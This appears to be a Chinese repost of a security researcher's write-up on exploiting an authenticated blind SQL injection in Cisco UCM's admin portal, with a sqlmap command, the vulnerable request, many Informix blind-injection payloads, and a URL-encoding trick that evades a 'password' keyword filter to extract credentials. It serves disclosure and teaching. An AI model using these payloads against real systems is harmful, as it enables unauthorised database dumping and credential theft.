sql 存储过程 盲注入_一次非常规 SQL 注入(informixsql)的利用过程

c8c57c1533e3b114b8a21c2f3abe4651.gif

502536959e373550ba082a2a0d329025.png介绍

一个客户正在寻找升级他们的思科 UCM 软件,并希望保证他们的实现是安全配置的。在评估期间,我们在 Cisco UCM 管理员门户中发现了一个经过身份验证的 SQL 注入问题。在大多数情况下,可以使用 SQLMap 或其他工具来自动发现问题。

由于我们是在客户端的开发环境中进行测试的,所以我们被允许对 Cisco UCM 执行更积极的攻击。我最初使用的 SQLMap 命令如下:

root@kali~# sqlmap --level=5 --risk=3 -r request.txt

请求文件包含以下内容:

GET /ccmadmin/userGroupFindList.do?searchLimVal3=&searchLimVal4

=&whereClause=1*&searchLimVal1=&searchLimVal2=&searchLimVal7=&s

earchLimVal8=&searchLimVal5=&searchLimVal6=&rowsPerPageControl

=/ccmadmin/userGroupFindList.do?lookup=true&colCnt=4&searchLimV

al0=&lookup=true&rowsPerPage=50&searchLimVal9=&pageNumber=1&rec

Cnt=37&multiple=true HTTP/1.1

Host: Cookies: JSESSIONID=; com.cisco.ccm.admin.serv

lets.RequestToken.REQUEST_TOKEN_KEY=; JSESSIONIDSSO

=Accept: text/html

Connection: close

在让 SQLMap 完成它所做的事情之后,我们发现了一个数据库: Informix SQL。此外,注入方法为布尔型盲注。从那里,SQLMap 通常可用于枚举底层数据库,并可能获得对密码和敏感数据的访问权。然而,在使用 SQLMap 执行这些任务之后,遇到了一些问题:

· SQLMap 能够枚举当前表的名称,但无法枚举其他数据库名称和其他表名称

· SQLMap 能够枚举当前的 SQL 用户名,但是也报告了基础数据库的超过1000个用户,并且不能枚举其他999个用户

· SQLMap 无法枚举“ applicationuser”表中与任何用户密码相关的任何信息

以下各章节将用来说明如何查明上述每个问题的根本原因以及如何克服这些问题。

502536959e373550ba082a2a0d329025.pngInformix 速成课程

在继续之前,我们对于学习 Informix SQL 进行了一些研究。

以下是关于“systables”表的一个简单学习:

· Informix 在表“ systables”中保存所有表信息的记录

· “systables”中的不同列表示不同的信息,例如列“tabname”表示特定表的名称,列“tabid”表示特定表的 ID 号

· 其他信息包括“ncols”列(表中的列数)和列“nrows”是表中的行数

作为一个例子,让我们假设一个表被命名为“yaytableyay”。要检索“tabid”号,可以使用以下查询:

SELECT tabid FROM systables WHERE tabname = ‘yaytableyay’

#Returned 54

进一步说,如果我们想查找“yaytableyay”表中的行数,我们可以进行以下查询:

SELECT nrows FROM systables WHERE tabid = 54

#Returned 15

以下是关于“syscolumns”表的一个简单学习:

· Informix 保存每个表中所有列信息的记录

· “sysolumns”中的不同列表示不同的信息,例如列“colname”表示特定列的名称,列“tabid”表示该列分配给哪个表

· 其他信息可以包括“colno”列,它是系统按顺序从左到右分配的值

举个例子,如果我们想找出表“yaytableyay”中第一列的名称,可以执行下面的查询语句:

SELECT colname FROM syscolumns WHERE tabid = 54 AND colno = 1

#returned "yaycolumnnameyay"

此外,每个表都有一个名为“rowid”的隐藏列。此值分配给表中的每一行,但不会在删除行时删除。例如,下面的查询不能返回任何数据,原因是我们查询的是之前删除的行:

SELECT * FROM yaytableyay WHERE rowid = 1337

#Returned 0 results

还有一种可能是,某一行数据甚至从未存在过。这仍将迫使数据库返回相同的结果也就是“0” ,就像行被删除一样。因此,当使用“rowid”作为“ WHERE”子句时,无法区分已删除的行和从未存在的行。

502536959e373550ba082a2a0d329025.png枚举其他表名

解决 SQLMap 问题(或者任何 web 应用程序测试工具)的最佳方法之一是通过代理工具来解决流量问题。在这种情况下,通过 BurpSuite 代理 SQLMap 有助于我们解决问题,现在的问题是每当 SQLMap 被指示枚举其他表名和数据库名时,服务器总是会响应以下错误之一:

· ERROR: A subquery has returned not exactly one row. (错误: 子查询返回的行不完全是一行)

· ERROR: "NVL" cannot be used in a query( 错误: “ NVL”不能在查询中使用)

· ERROR: "RTRIM" cannot be used in a query (错误: “ RTRIM”不能在查询中使用)

· ERROR: "LIMIT" cannot be used in a query (错误: “ LIMIT”不能在查询中使用)

· ERROR: "LENGTH" cannot be used in a query (错误: 查询中不能使用“ LENGTH”)

第一个错误“不只一行”是 Google 搜索到的,可以链接到 Informix 的文档。其他错误似乎是思科 UCM 本身内置的一般性限制。考虑到这些错误消息,似乎需要一个自定义脚本或工具来进一步利用这个问题。

为了列举每个表,我建立了一个工作流程:

· 计算出数据库中存储了多少个有效表

· 按字母枚举每个表名的字母

· 枚举每个表中有多少行和列

为了确定有效表的数量,我们使用了“tabid”值。具体来说,我们基于以下有效载荷执行了一些“大于”和“小于”操作:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 1) > 1

如果每个表名的“tabid”值大于1,上述有效载荷将迫使服务器返回每个表名的首字母的 ASCII 值。这当然会返回多个结果,因为肯定有不止一个表迫使服务器响应另一个“Result is more than 1 column”错误。然而,这是意料之中的,因为某个东西返回的意思是某个东西存在。为了进一步说明这一点,以下面的有效载荷为例:

1=1 AND (SELECT ascii(substring(tabname for 1 from 1)) FROM systables WHERE tabid > 100) > 1

现在,我们正在寻找 tabid 值大于100的表。如果由于大于100的表格值不存在而导致表不存在,那么服务器将不会响应任何数据。

基于这个行为,我们可以列举底层数据库中有多少个表:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 1) > 1

#returned "more than 1 row" error

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 100) > 1 

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 50) > 1 

#returned "more than 1 row" error

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 75) > 1 

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 65) > 1 

#returned "more than 1 row" error

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 74) > 1 

#returned "more than 1 row" error

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 75) > 1 

#returned no data

我们现在已经确定当前数据库中的 tabid 数量为75个。

接下来,需要建立表名。使用 ASCII 值函数仍然是一种选择,因此我们使用类似的逻辑来确定表的数量。下面的有效载荷将确定第一个表名的首字母的 ASCII 值是否大于64:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64

从这个行为,我们可以列举出第一个字母是什么:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 96

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 112

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 104

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 100

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 102

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) = 101

#returned some data

基于上述结果,第一个表的第一个字母必须是101的 ASCII 值,也就是“ e”。

移到表名中的下一个字符,我们把:

tabname from 1 for 1

替换为:

tabname from 2 for 1

由此,我们可以列举出第二个字母是什么:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 96

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 112

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 104

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 108

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 110

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 109

#returned some data

基于上述结果,第一个表的第一个字母的 ASCII 值必须是110,也就是‘ m’。

为了便于这篇博客文章的使用,上面例子中列举的表是“empire”。可以使用此方法枚举表的其余名称。

在枚举表名并将其与 tabid 值关联之后,我们可以开始构建一些列的信息。

下面的查询可用于帮助确定表“empire”中有多少列:

1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 1

#returned no data

1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 2

#returned no data

1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 3

#returned no data

1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 4

#returned some data

1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 5

#returned no data

下面的查询可用于帮助找出“empire”表中第一列的名称:

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 64

#returned some data

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 96

#returned no data

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 80

#returned no data

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 72

#returned some data

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 76

#returned no data

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 74

#returned some data

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) = 73

#returned some data

502536959e373550ba082a2a0d329025.png枚举其他 SQL 用户

当 SQLMap 试图枚举其他 SQL 用户时,使用了表“sysusers”。类似于本文中的“枚举其他表”部分,当 SQLMap 试图枚举其他用户时,服务器将继续以错误响应。

在上一节中,我们介绍了如何将“tabid”列用作可用于枚举表的顺序数字系统。在查找“sysusers”表是如何组织的之后,发现没有可行的顺序数字系统。根据 IBM 的官方文档,下面的列构成了“sysusers”表:

· username

· usertype

· priority

· password

· defrole

此时,我们将隐藏列“rowid”用作 SQL 查询的“WHERE”部分的一部分。下面的示例查询可用于枚举第一个用户名的第一个字母的 ASCII 值,其中 rowid 为1:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 1) > 1#returned data

在枚举第一个用户名之后,我们可以继续枚举基于“rowid”值的其他用户名:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 2) > 1

#returned data

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 3) > 1

#returned data

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 4) > 1

#returned data

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5) > 1

#returned data

当“rowid”值达到5000时,就变得有趣了:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5000) > 1

#returned no data

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5001) > 1

#returned no data

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5002) > 1

#returned some data

为了帮助解决这个问题,当我们找到一个有效的用户时,可以使用“systables”表中的“nrows”列来帮助建立。 这是因为“nrows”值是根据表中非空行的数量确定的。

下面的查询可以帮助确定“sysusers”表中的行数:

1=1 AND (SELECT nrows FROM systables WHERE tabname = ‘sysusers’) > 1#returned some data

使用这个查询,我们可以确定“sysusers”表中包含数据的行数为1000:

1=1 AND (SELECT nrows FROM systables WHERE tabname = ‘sysusers’) = 1000#returned data

考虑到这一点,我们可以开始使用‘rowid’和‘ncols’枚举‘sysusers’表中的所有用户名。通过递增 rowid,我们可以遍历查询,每次查询返回数据时,我们可以将 ncols 的值减少1:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5000) > 1

#returned no data, ncols value is at 444

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5001) > 1

#returned no data, ncols value is at 444

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5002) > 1

#returned data, ncols value is at 443

...

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7850) > 1

#returned data, ncols value is at 2

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7851) > 1

#returned data, ncols value is at 1

有了一组已知的非空行的 rowid,我们现在可以开始枚举用户名,而不必无限期地运行任何自定义脚本:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7851) > 1#returned data

502536959e373550ba082a2a0d329025.png枚举用户密码

如前所述,“sysusers”表包含一个名为“password”的行。我们还发现,Cisco UCM 软件利用表“applicationuser”存储与 Cisco UCM 软件有关的用户,该软件还包含一个“password”列。

使用前面讨论过的技术,应该可以列举出整个“app_users”表... 也就是说,直到我们执行到下面的查询:

1=1 AND (SELECT ascii(substring(password from 1 for 1)) FROM applicationuser WHERE rowid = 500) > 1

#returned error “Security Exception”

这是一个奇怪的错误信息,而且谷歌搜不到这种错误的解决办法。经过一些测试,我们确定服务器只有在用户试图枚举任何表中的“password”列时才会响该错误。基于这个行为,我们假设这是应用程序级别的黑名单关键字情况。

我们的猜测是对的!我所要做的就是对“password” 进行 URL 编码,以解决这个问题:

1=1 AND (SELECT ascii(substring(%70%61%73%73%77%6f%72%64 from 1 for 1)) FROM app_users WHERE rowid = 500) > 1

#returned data

502536959e373550ba082a2a0d329025.png自定义脚本

不能使用 SQL Map 来利用这个漏洞,因此我们采取创建两个脚本来充分利用这个漏洞。因为这个漏洞需要对 Cisco UCM 管理控制台的认证访问,所以这两个脚本都要求用户提交他们的会话 cookie。

· sql_injection_enumerate_tables.py -枚举数据库中每个表的名称,并将它们存储在名为“cisco_tables.txt”的文件中。

· sql_injection_extract_table.py - 读取“cisco_tables”中的条目,并枚举每个表条目的内容

这两个脚本都不会针对触发安全警报的特定单词进行自动编码,比如“password”。建议通过 BurpSuite 或其他代理工具代理脚本,对可能触发安全警报的单词进行URL 编码。

供应商补丁

本文中描述的技术用于枚举思科 UCM 版本11.5.1.14900-11的整个数据库。思科被告知这个问题后,补丁目前正在开发中。双方商定2019年11月20日为联合披露日期。

链接及参考资料

· F-secure 对影响思科 UCM 某些安装的这个问题的官方建议可以在这里找到:https://labs.f-secure.com/advisories/cisco-ucm-informix-sql-injection

· 为充分利用这个漏洞而开发的脚本可以在这里找到:https://github.com/FSecureLABS/Cisco-UCM-SQLi-Scripts

本文参考自:https://labs.f-secure.com/blog/uncommon-sql-database-alert-informix-sql-injection/

c16215bbd2794bda7e94f9358dce6e9a.png

4de05e4bfb849af8d6fd724fc1d219c3.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/571554.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自定义鼠标指针轨迹_win10鼠标自定义颜色,鼠标属性设置,这样就不眯眼了

电脑用多了,眼睛受不了,这时候就需要各种护眼模式,把画面放大,指针放大,来解决眼睛盯着电脑累的问题了,一不留神发现鼠标指针变大好处多多,下面设置一下win10系统鼠标指针大小、颜色都是默认设置…

mysql linux_linux下mysql下载安装

1、下载地址https://www.mysql.com/downloads/选择community server点击DOWLOAD选择版本,当前选择的5.6版本点击下载mysql-5.6.38-linux-glibc2.12-i686.tar.gz选择no thanks2、安装mysqltar -xvzf mysql-5.6.38-linux-glibc2.12-i686.tar.gzmv mysql-5.6.38-linux…

java代码生成器 快速开发平台 二次开发 外包项目利器 springmvc SSM后台框架源码...

A代码编辑器,在线模版编辑,仿开发工具编辑器,pdf在线预览,文件转换编码B 集成代码生成器 [正反双向](单表、主表、明细表、树形表,快速开发利器)快速表单构建器 freemaker模版技术 ,0个代码不用写&#xff…

php mysql搭建_PHP+MYSQL的搭建_MySQL

现在准备研究下微信的开发,所以要研究下PHP了,但对这个平台还是很陌生的,所以网上找了些资料并测试,现贴出来给大家参考。第一步:我们先下载【PHPStudy 2013】或者最新版本;下载地址: http://do…

锐捷交换机实验案例:vlan间互访的配置与验证

组网需求: 1、如下图所示,某用户内网被划分为VLAN 10、VLAN 20、VLAN 30,以实现相互间的2 层隔离; 2、3 个VLAN 对应的IP 子网分别为192.168.10.0/24 、192.168.20.0/24 、192.168.30.0/24,3 个VLAN 通过3 层核心交换机…

mysql innodb隔离级别_浅析MySQL InnoDB的隔离级别

本文就将对上面这两个问题进行解答,分析事务的隔离级别以及相关锁机制。隔离性简介隔离性主要是指数据库系统提供一定的隔离机制,保证事务在不受外部并发操作影响的"独立"环境执行,意思就是多个事务并发执行时,一个事务…

sql 2008服务器内存一直居高不下_经验之谈:内存问题造成数据库性能异常怎么破?...

作者:罗贵林原文链接:https://mp.weixin.qq.com/s/2e5eKSoGlU9J4Rjq1zwLnw导读:在使用数据库的过程中,内存不足常常会引起数据库异常。但是内存不足,又会为数据库带来哪些具体的影响呢?本次,我们…

mysql 字符串匹配函数_mysql 自定义函数 实现字符串匹配

先来一个截图:fSearch函数的第一个参数为单一字符串(即 没有特殊字符串隔开)fSearch函数的第一个参数非单一字符串多个字符串同样可以匹配。函数代码:DELIMITER $$Create function fSearch(targetStr VARCHAR(100),findStr VARCHAR(100)) RETURNS INTBEG…

stm32时钟树_先学STM8,还是学STM32?

有朋友问:我学习过51,接下来我是先学习STM8,还是STM32呢?物联网STM32入门 - 直播课程 - 创客学院​www.makeru.com.cn嵌入式开发直播课 - STM32 USART串口的应用 - 创客学院直播室​www.makeru.com.cn1、写在前面想要明白这个问题…

如何使用django显示一张图片

django显示图片对新手来说真的算是一个坑。。 这里记录下小白爬坑的历程。 首先&#xff0c;你需要一个可以运行的django服务器&#xff0c;能显示正常的html文本&#xff0c;无法显示图片 这是html的文本&#xff0c;可以显示文字&#xff0c;无法显示图片 <h1>An Image…

mysql创建时间字段6_mysql 时间字段介绍

mysql时间类型大概有5种&#xff0c;如下图1、创建数据库create table t1 (id int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,d1_data date,d2_time time,d3_datatime datetime,d4_year year,d5_timestamp TIMESTAMP);字符串方式插入INSERT INTO t1 (d1_data,d2_time,d3_datati…

安装Python 3.6 在Ubuntu 16.04 LTS 版本

在ubuntu 16.04版本中&#xff0c;系统默认安装 了python 2.7和3.5版本&#xff0c;因为系统本身用到python的程序&#xff0c;删除默认的版本又担心系统有问题&#xff0c;那有没有办法同时在安装和使用python 3.6版本呢&#xff1f;下文将一起安装python 3.6并修改原系统的py…

matlab动画_弹簧振子振动的matlab动画演示

用Matlab阐述物理中的胡克定律&#xff0c;为弹簧振子震动的matlab动画示意图&#xff0c;另有一个为不同质量不同弹簧系数的比较。spring.m,compare.mrectangle(position,[12,8.5,2,0.3],FaceColor,[0.5,0.3,0.4]); axis([0,15,-1,10]); hold on plot([13,13],[7,8.5],r,li…

svn合并分支到主干_谈谈代码分支管理

前言从2019年上半年云音乐的客户端团队开始迁移到双周迭代后&#xff0c;随之而来的是我们需要重新调整代码分支的管理方法&#xff0c;来应对开发流程的变更。双周迭代顾名思义一周开发一周测试&#xff0c;目的就是为了快速交付。纵观整个开发流程&#xff0c;我们需要在两周…

ctf实验平台-成绩单

题目链接&#xff1a;http://120.24.86.145:8002/chengjidan/ 平台地址&#xff1a;http://123.206.31.85/ 第一步&#xff1a;暴库 id-1 union select 1,2,3,group_concat(schema_name) from information_schema.schemata# 第二步&#xff1a;爆表 id-1 union select 1,2,3,ta…

python 扫描仪_玩《Minecraft我的世界》学python编程,可领|取电子学习版本

为何选择学习pythonpython是一种解释型、面向对象、动态数据类型的高级程序设计语言&#xff0c;它具有丰富和强大的库&#xff0c;能够把其它语言&#xff08;尤其是c&#xff09;制作的各种模块很轻松地联结在一起。pyton在编程语言排行榜中高居首位。[求抱抱]编程听起来很高…

vue中使用导出表格功能

1.下载依赖 npm install -S file-saver xlsxnpm install -D script-loader 2.在src下创建vendor文件夹&#xff0c;并在文件夹中放两个文件 Blob.js (function (view) {"use strict";view.URL view.URL || view.webkitURL;if (view.Blob && view.URL) {try …

adb shell 书籍_开发必备---你应该知道的一些 ADB 命令

版权声明&#xff1a;本文为LooperJing原创文章&#xff0c;转载请注明出处&#xff01;一、设备相关1、adb devices显示连接到计算机的设备List of devices attachedbe34d81e device输出格式为 [serialNumber] [state]&#xff0c;state 有如下几种&#xff1a;列名解释nodevi…

python生成器迭代_二十、深入Python迭代器和生成器

「Author&#xff1a;Runsen」学习python的过程中&#xff0c;迭代器与生成器是绕不开的话题&#xff0c; 什么是迭代器和生成器呢&#xff1f;下面我们来了解一下什么是迭代。但在了解迭代器之前&#xff0c;首先需要知道什么是容器。容器正所谓&#xff1a;一切都是对象&…

批改网禁止粘贴怎么破_重大利好!教育部声明,要求家长批改作业等行为,发现一起严处一起...

前段时间&#xff0c;在江苏一位家长发布短视频&#xff0c;他在视频中怒喊&#xff1a;我就退出家长群怎么了&#xff01;引起网上一阵热议起因是这位家长认为老师总是让家长帮忙批改作业&#xff0c;自己承担了太多教师应负的责任&#xff0c;完了还要昧着良心说老师你辛苦了…